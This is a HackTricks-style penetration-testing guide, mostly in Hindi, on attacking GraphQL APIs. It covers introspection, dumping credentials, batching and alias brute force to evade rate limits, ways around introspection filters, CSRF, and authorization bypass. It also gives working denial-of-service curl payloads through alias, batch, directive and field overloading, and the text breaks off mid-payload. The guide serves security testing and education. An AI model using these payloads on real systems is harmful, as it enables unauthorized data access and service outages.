GraphQL
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
परिचय
GraphQL को उभारा गया है एक प्रभावी विकल्प के रूप में REST API के लिए, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल तरीका प्रदान करता है। REST के विपरीत, जिसमें अक्सर डेटा एकत्र करने के लिए विभिन्न endpoints पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को एक ही अनुरोध के माध्यम से प्राप्त करने में सक्षम बनाता है। यह सरलीकरण डेवलपर्स के लिए काफी लाभदायक है क्योंकि यह उनके डेटा फ़ेचिंग प्रक्रियाओं की जटिलता को कम करता है।
GraphQL और सुरक्षा
नई तकनीकों के आगमन के साथ, जिनमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि GraphQL डिफ़ॉल्ट रूप से authentication mechanisms शामिल नहीं करता है। ऐसे सुरक्षा उपाय लागू करना डेवलपर्स की जिम्मेदारी है। उचित authentication के बिना, GraphQL endpoints अनऑथेंटिकेटेड उपयोगकर्ताओं के लिए संवेदनशील जानकारी उजागर कर सकते हैं, जो एक गंभीर सुरक्षा जोखिम है।
Directory Brute Force Attacks and GraphQL
exposed GraphQL instances की पहचान के लिए, directory brute force attacks में विशिष्ट paths शामिल करने की सिफारिश की जाती है। ये paths हैं:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
open GraphQL instances की पहचान करने से supported queries की पड़ताल संभव होती है। यह endpoint के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की introspection प्रणाली इसमें मदद करती है क्योंकि यह एक schema किन queries का समर्थन करता है, यह विवरण प्रदान करती है। इस बारे में अधिक जानकारी के लिए GraphQL की introspection पर दस्तावेज़ देखें: GraphQL: A query language for APIs.
Fingerprint
टूल graphw00f सर्वर पर किस GraphQL engine का उपयोग हो रहा है यह पहचान सकता है और फिर security auditor के लिए कुछ उपयोगी जानकारी प्रदर्शित करता है।
यूनिवर्सल क्वेरीज़
यह जांचने के लिए कि कोई URL GraphQL service है या नहीं, एक universal query, query{__typename}, भेजी जा सकती है। यदि response में {"data": {"__typename": "Query"}} शामिल है, तो यह पुष्टि करता है कि URL पर GraphQL endpoint होस्ट किया गया है। यह तरीका GraphQL के __typename field पर निर्भर करता है, जो queried object के प्रकार को प्रकट करता है।
query{__typename}
Basic Enumeration
Graphql आम तौर पर GET, POST (x-www-form-urlencoded) और POST(json) को सपोर्ट करता है। हालाँकि सुरक्षा के लिए CSRF attacks को रोकने हेतु केवल json की अनुमति देने की सलाह दी जाती है।
Introspection
स्कीमा जानकारी खोजने के लिए Introspection का उपयोग करने हेतु, __schema फ़ील्ड को query करें। यह फ़ील्ड सभी queries के root type पर उपलब्ध है।
query={__schema{types{name,fields{name}}}}
इस query से आप उपयोग किए जा रहे सभी types के नाम मिल जाएंगे:
.png)
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
इस query के साथ आप सभी types, उनके fields और उनके arguments (और arguments के types) निकाल सकते हैं। यह जानना बहुत उपयोगी होगा कि database को कैसे query किया जाए।
.png)
त्रुटियाँ
यह जानना दिलचस्प है कि क्या त्रुटियाँ दिखेंगी, क्योंकि वे उपयोगी जानकारी प्रदान करेंगी।
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
.png)
इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा को सूचीबद्ध करें
Tip
यदि इंट्रोस्पेक्शन सक्षम है लेकिन ऊपर दिया गया query नहीं चलता है, तो query संरचना से
onOperation,onFragment, औरonFielddirectives हटा कर देखें।
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
इनलाइन introspection query:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
The last code line is a graphql query that will dump all the meta-information from the graphql (objects names, parameters, types…)
.png)
If introspection is enabled you can use GraphQL Voyager to view in a GUI all the options.
क्वेरी
अब जब हमें पता है कि किस तरह की जानकारी database के अंदर सेव है, तो आइए कुछ मान निकालने की कोशिश करते हैं।
In the introspection you can find which object you can directly query for (because you cannot query an object just because it exists). In the following image you can see that the “queryType” is called “Query” and that one of the fields of the “Query” object is “flags”, which is also a type of object. Therefore you can query the flag object.

Note that the type of the query “flags” is “Flags”, and this object is defined as below:
.png)
You can see that the “Flags” objects are composed by name and value Then you can get all the names and values of the flags with the query:
query={flags{name, value}}
ध्यान दें कि यदि object to query एक primitive type जैसे string है, जैसा कि निम्न उदाहरण में है
.png)
तो आप इसे बस इस तरह query कर सकते हैं:
query = { hiddenFlags }
एक और उदाहरण जहाँ “Query” type object के अंदर 2 objects थे: “user” और “users”.
यदि इन objects को search करने के लिए किसी भी argument की आवश्यकता नहीं है, तो आप बस चाहा गया डेटा पूछकर उनसे सारी जानकारी निकाल सकते हैं। इस इंटरनेट उदाहरण में आप saved usernames और passwords निकाल सकते हैं:
.png)
हालाँकि, इस उदाहरण में अगर आप ऐसा करने की कोशिश करते हैं तो आपको यह त्रुटि मिलती है:
.png)
ऐसा लगता है कि यह किसी न किसी तरह Int type के “uid” argument का उपयोग करके खोज करेगा।
खैर, हमें यह पहले से ही पता था; Basic Enumeration section में एक query दी गई थी जो हमें सारी आवश्यक जानकारी दिखा रही थी: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
अगर आप उस image को देखेंगे जो मैंने उस query चलाने पर दी है तो आप देखेंगे कि “user” के पास Int type का arg “uid” था।
तो, कुछ हल्का uid bruteforce करने पर मुझे पता चला कि uid=1 में एक username और password प्राप्त हो रहे थे:query={user(uid:1){user,password}}
.png)
ध्यान दें कि मैंने पाया कि मैं parameters “user” और “password” माँग सकता था क्योंकि अगर मैं किसी ऐसी चीज़ के लिए खोज करता हूँ जो मौजूद नहीं है (query={user(uid:1){noExists}}) तो मुझे यह त्रुटि मिलती है:
.png)
और enumeration phase के दौरान मैंने पाया कि “dbuser” object के fields “user” और “password” थे।
Query string dump trick (thanks to @BinaryShadow_)
यदि आप string type से search कर सकते हैं, जैसे: query={theusers(description: ""){username,password}} और आप खाली string के लिए search करते हैं तो यह सारी data dump कर देगा। (Note this example isn’t related with the example of the tutorials, for this example suppose you can search using “theusers” by a String field called “description”)
Searching
इस setup में एक database में persons और movies होते हैं। Persons की पहचान उनके email और name से होती है; movies की पहचान उनके name और rating से होती है। Persons एक-दूसरे के दोस्त हो सकते हैं और उनके पास movies भी हो सकती हैं, जो database के भीतर रिश्तों को दर्शाती हैं।
आप persons को name द्वारा search कर सकते हैं और उनकी emails प्राप्त कर सकते हैं:
{
searchPerson(name: "John Doe") {
email
}
}
आप व्यक्तियों को नाम के द्वारा खोज सकते हैं और उनकी सदस्यता वाली फ़िल्में प्राप्त कर सकते हैं:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
ध्यान दें कि यह दर्शाया गया है कि व्यक्ति के subscribedMovies का name कैसे प्राप्त किया जाए।
आप एक साथ कई ऑब्जेक्ट्स को भी खोज सकते हैं। इस मामले में, 2 फिल्मों की खोज की गई है:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
या तो aliases का उपयोग करके कई अलग‑अलग objects के रिश्ते:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
म्यूटेशन्स
म्यूटेशन्स सर्वर-साइड में बदलाव करने के लिए उपयोग किए जाते हैं।
In the इंट्रोस्पेक्शन you can find the घोषित mutations. In the following image the “MutationType” is called “Mutation” and the “Mutation” object contains the names of the mutations (like “addPerson” in this case):
.png)
इस सेटअप में, एक डेटाबेस में persons और movies होते हैं। Persons की पहचान उनके email और name से होती है; movies की पहचान उनके name और rating से। Persons एक-दूसरे के दोस्त हो सकते हैं और उनके पास movies भी हो सकती हैं, जो डेटाबेस के अंदर संबंधों को दर्शाती हैं।
डेटाबेस के अंदर नई movies बनाने के लिए एक mutation निम्न जैसा हो सकता है (इस उदाहरण में mutation का नाम addMovie है):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
ध्यान दें कि query में डेटा के दोनों values और type दर्शाए गए हैं।
इसके अलावा, डेटाबेस एक mutation ऑपरेशन, जिसका नाम addPerson है, का समर्थन करता है, जो मौजूदा friends और movies के साथ उनके एसोसिएशन्स के साथ persons के निर्माण की अनुमति देता है। यह जानना महत्वपूर्ण है कि friends और movies को नए बनाए गए person से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
As explained in one of the vulns described in this report, a directive overloading implies to call of a directive even millions of times to make the server waste operations until it’s possible to DoS it.
1 API request में Batching brute-force
This information was take from https://lab.wallarm.com/graphql-batching-attack/.
GraphQL API के माध्यम से Authentication के लिए simultaneously sending many queries with different credentials का उपयोग किया जाता है। यह एक classic brute force attack है, लेकिन अब GraphQL batching feature की वजह से एक HTTP request में एक से अधिक login/password pair भेजना संभव है। यह तरीका external rate monitoring applications को भ्रामित कर देगा कि सब ठीक है और कोई brute-forcing bot passwords guess नहीं कर रहा।
Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:
.png)
As we can see from the response screenshot, the first and the third requests returned null and reflected the corresponding information in the error section. The second mutation had the correct authentication data and the response has the correct authentication session token.
 (1).png)
GraphQL Without Introspection
More and more graphql endpoints are disabling introspection. However, the errors that graphql throws when an unexpected request is received are enough for tools like clairvoyance to recreate most part of the schema.
Moreover, the Burp Suite extension GraphQuail extension observes GraphQL API requests going through Burp and builds an internal GraphQL schema with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info check this.
GraphQL entities खोजने के लिए एक अच्छा wordlist यहां मिल सकता है.
Bypassing GraphQL introspection defences
To bypass restrictions on introspection queries in APIs, inserting a special character after the __schema keyword proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the __schema keyword. By adding characters like spaces, new lines, and commas, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after __schema may bypass such defenses:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
यदि सफल नहीं हुआ, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे GET requests या POST with x-www-form-urlencoded, क्योंकि प्रतिबंध केवल POST requests पर लागू हो सकते हैं।
WebSockets आज़माएँ
जैसा कि this talk में उल्लेख किया गया है, जाँच करें कि क्या graphQL को WebSockets के माध्यम से कनेक्ट करना संभव हो सकता है क्योंकि यह आपको संभावित WAF को bypass करने और websocket संचार द्वारा graphQL के schema को leak करने की अनुमति दे सकता है:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
खुली GraphQL संरचनाओं की खोज
जब introspection अक्षम हो, तो वेबसाइट के स्रोत कोड में JavaScript लाइब्रेरीज़ में मौजूद पूर्व-लोडेड क्वेरीज़ की जाँच एक उपयोगी रणनीति होती है। ये क्वेरीज़ डेवलपर टूल्स के Sources टैब का उपयोग करके मिली जा सकती हैं, जो API के schema के बारे में अंतर्दृष्टि देती हैं और संभावित रूप से खुली हुई संवेदनशील क्वेरीज़ को उजागर कर सकती हैं। डेवलपर टूल्स के अंदर खोजने के लिए कमांड्स हैं:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
Error-based schema reconstruction & engine fingerprinting (InQL v6.1+)
जब introspection अवरुद्ध हो, InQL v6.1+ अब केवल error feedback से reachable schema का पुनर्निर्माण कर सकता है। नया schema bruteforcer configurable wordlist से candidate field/argument नामों को batch करता है और HTTP chatter कम करने के लिए उन्हें multi-field operations में भेजता है। फिर उपयोगी error patterns स्वचालित रूप से एकत्र किए जाते हैं:
Field 'bugs' not found on type 'inql'माता-पिता type के अस्तित्व की पुष्टि करता है और invalid field names को खारिज कर देता है।Argument 'contribution' is requiredबताता है कि एक argument अनिवार्य है और इसकी वर्तनी उजागर करता है।- Suggestion hints such as
Did you mean 'openPR'?को validated candidates के रूप में queue में वापस डाल दिया जाता है। - जानबूझकर गलत primitive वाले मान (उदा., strings के लिए integers) भेजकर bruteforcer उन type mismatch errors को provoke करता है जो वास्तविक type signature को leak करते हैं, जिसमें list/object wrappers जैसे
[Episode!]भी शामिल हैं।
bruteforcer नई fields देने वाले किसी भी type पर recursion जारी रखता है, इसलिए जो wordlist generic GraphQL नामों को app-specific guesses के साथ मिलाती है वह अंततः बिना introspection के schema के बड़े हिस्सों का नक्शा बना लेगी। रनटाइम मुख्यतः rate limiting और candidate volume द्वारा सीमित होता है, इसलिए stealthier engagements के लिए InQL सेटिंग्स (wordlist, batch size, throttling, retries) को fine-tune करना महत्वपूर्ण है।
उसी रिलीज में, InQL एक GraphQL engine fingerprinter भेजता है (tools जैसे graphw00f से signatures उधार लेकर)। यह मॉड्यूल जानबूझकर invalid directives/queries भेजता है और backend को exact error text से match करके classify करता है। उदाहरण के लिए:
query @deprecated {
__typename
}
- Apollo उत्तर देता है:
Directive "@deprecated" may not be used on QUERY. - GraphQL Ruby उत्तर देता है:
'@deprecated' can't be applied to queries.
Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).
Finally, automatic variable generation Burp Repeater/Intruder में pivot करने पर होने वाली एक पारंपरिक बाधा को हटाता है। Whenever an operation requires a variables JSON, InQL now injects sane defaults so the request passes schema validation on the first send:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Nested input objects वही mapping inherit करते हैं, इसलिए आपको तुरंत एक syntactically और semantically valid payload मिल जाता है जिसे SQLi/NoSQLi/SSRF/logic bypasses के लिए fuzzed किया जा सकता है बिना हर argument को manually reverse-engineer किए।
GraphQL में CSRF
अगर आप नहीं जानते कि CSRF क्या है तो निम्नलिखित पृष्ठ पढ़ें:
CSRF (Cross Site Request Forgery)
वहाँ आप कई GraphQL endpoints पा सकते हैं जो configured without CSRF tokens.
ध्यान दें कि GraphQL requests आमतौर पर POST requests के माध्यम से भेजे जाते हैं और Content-Type application/json का उपयोग करते हैं।
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
हालाँकि, अधिकांश GraphQL endpoints भी form-urlencoded POST requests: का समर्थन करते हैं
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
इसलिए, चूंकि पिछले जैसे CSRF अनुरोध without preflight requests भेजे जाते हैं, CSRF का दुरुपयोग करके GraphQL में perform changes करना संभव है।
हालाँकि, ध्यान दें कि Chrome में samesite फ़्लैग का नया डिफ़ॉल्ट cookie मान Lax है। इसका मतलब है कि cookie केवल थर्ड-पार्टी वेब से GET अनुरोधों में ही भेजा जाएगा।
ध्यान रखें कि अक्सर query request को GET request के रूप में भी भेजना संभव होता है और CSRF token शायद GET request में validate नहीं किया जा रहा होता है।
इसके अलावा, XS-Search attack का दुरुपयोग करके उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग कर GraphQL endpoint से content exfiltrate करना संभव हो सकता है।
अधिक जानकारी के लिए original post here देखें।
Cross-site WebSocket hijacking in GraphQL
GraphQL का दुरुपयोग करने वाले CRSF vulnerabilities की तरह, यह भी संभव है कि Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies को अंजाम दिया जाए और एक उपयोगकर्ता को GraphQL में अनपेक्षित क्रियाएँ करने के लिए मजबूर किया जा सके।
For more information check:
Authorization in GraphQL
एंडपॉइंट पर परिभाषित कई GraphQL फ़ंक्शन केवल अनुरोधकर्ता के प्रमाणीकरण की जांच करते हैं, लेकिन प्राधिकरण की नहीं करते।
query input variables में परिवर्तन संवेदनशील account विवरणों के leaked का कारण बन सकता है।
Mutation दूसरे खाते के डेटा को संशोधित करने का प्रयास करके account takeover तक ले जा सकता है।
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL में authorization बाइपास करें
Chaining queries एक साथ इस्तेमाल करके कमजोर authentication system को बाइपास किया जा सकता है।
नीचे दिए उदाहरण में आप देख सकते हैं कि operation “forgotPassword” है और इसे केवल संबंधित forgotPassword query ही execute करनी चाहिए। इसे बाइपास किया जा सकता है अगर अंत में एक और query जोड़ दी जाए — इस मामले में हम “register” और सिस्टम को एक नया user register करने के लिए एक user variable जोड़ते हैं।
GraphQL में Aliases का उपयोग कर Rate Limits बाइपास करना
In GraphQL, aliases एक शक्तिशाली feature हैं जो API request करते समय properties को स्पष्ट रूप से नाम देने की अनुमति देते हैं। यह capability विशेष रूप से उपयोगी है जब एक ही प्रकार के object की कई instances को एक ही request में retrieve करना हो। Aliases का उपयोग उस limitation को ओवरकम करने के लिए किया जा सकता है जो GraphQL objects को एक ही name वाली multiple properties रखने से रोकता है।
GraphQL aliases की विस्तृत समझ के लिए निम्न resource सुझाई जाती है: Aliases.
जहाँ Aliases का मुख्य उद्देश्य कई API calls की आवश्यकता को कम करना है, वहीं एक अनइंटेंडेड use case भी मिला है जिसमें aliases का उपयोग GraphQL endpoint पर brute force attacks execute करने के लिए किया जा सकता है। ऐसा इसलिए संभव है क्योंकि कुछ endpoints rate limiters द्वारा protected होते हैं जो brute force को रोकने के लिए कुल number of HTTP requests को सीमित करते हैं। हालांकि, ये rate limiters हर request में होने वाले operations की संख्या को काउंट नहीं कर सकते। चूंकि aliases एक single HTTP request में multiple queries शामिल करने की अनुमति देते हैं, वे ऐसे rate limiting measures को circumvent कर सकते हैं।
नीचे दिया गया उदाहरण दिखाता है कि aliased queries का उपयोग करके store discount codes की वैधता कैसे verify की जा सकती है। यह method rate limiting को बायपास कर सकती है क्योंकि यह कई queries को एक ही HTTP request में संकलित कर देती है, जिससे एक साथ कई discount codes verified किए जा सकते हैं।
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading एक GraphQL कमज़ोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई aliases के साथ एक query को overload करते हैं, जिससे backend resolver उस फ़ील्ड को बार-बार execute करता है। यह सर्वर संसाधनों पर अत्यधिक दबाव डाल सकता है, जिससे Denial of Service (DoS) हो सकता है। उदाहरण के लिए, नीचे दी गई query में, एक ही फ़ील्ड (expensiveField) को aliases का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे backend को इसे 1,000 बार compute करना पड़ता है, जो CPU या memory को समाप्त कर सकता है:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
इसे कम करने के लिए, alias count limits, query complexity analysis, या rate limiting लागू करें ताकि संसाधन दुरुपयोग रोका जा सके।
Array-based Query Batching
Array-based Query Batching एक vulnerability है जहाँ एक GraphQL API एक single request में multiple queries को batch करने की अनुमति देता है, जिससे एक attacker एक साथ बड़ी संख्या में queries भेज सकता है। यह backend को ओवरवेल्म कर सकता है क्योंकि सभी batched queries parallel में execute हो जाती हैं, अत्यधिक संसाधन (CPU, memory, database connections) उपयोग करती हैं और संभावित रूप से Denial of Service (DoS) की ओर ले जा सकती हैं। यदि batch में queries की संख्या पर कोई limit नहीं है, तो attacker इसका exploit करके service availability को degrade कर सकता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
In this example, 10 different queries are batched into one request, forcing the server to execute all of them simultaneously. If exploited with a larger batch size or computationally expensive queries, it can overload the server.
Directive Overloading Vulnerability
Directive Overloading तब होता है जब एक GraphQL server अत्यधिक, duplicated directives वाले queries को अनुमति देता है। इससे server के parser और executor पर बोझ पड़ सकता है, खासकर अगर server बार‑बार उसी directive logic को process करे। उचित validation या limits के बिना, एक attacker इसे exploit करके ऐसे query तैयार कर सकता है जिसमें कई duplicate directives हों, जो उच्च computational या memory उपयोग को trigger कर सकते हैं और परिणामस्वरूप Denial of Service (DoS) हो सकता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
ध्यान दें कि पिछले उदाहरण में @aa एक कस्टम निर्देश है जो घोषित न भी किया गया हो सकता है। एक सामान्य निर्देश जो आमतौर पर मौजूद होता है वह है @include:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
आप सभी घोषित निर्देशों का पता लगाने के लिए एक introspection query भी भेज सकते हैं:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
और फिर उनमें से कुछ कस्टम का उपयोग करें।
Field Duplication भेद्यता
Field Duplication एक भेद्यता है जहाँ एक GraphQL सर्वर उन्हीं queries की अनुमति देता है जिनमें एक ही field अत्यधिक बार दोहराया गया होता है। इससे सर्वर को प्रत्येक instance के लिए field को बार-बार resolve करना पड़ता है, जिससे महत्वपूर्ण संसाधन (CPU, memory, और database calls) खर्च होते हैं। एक attacker सैकड़ों या हजारों बार दोहराए गए field वाले queries तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 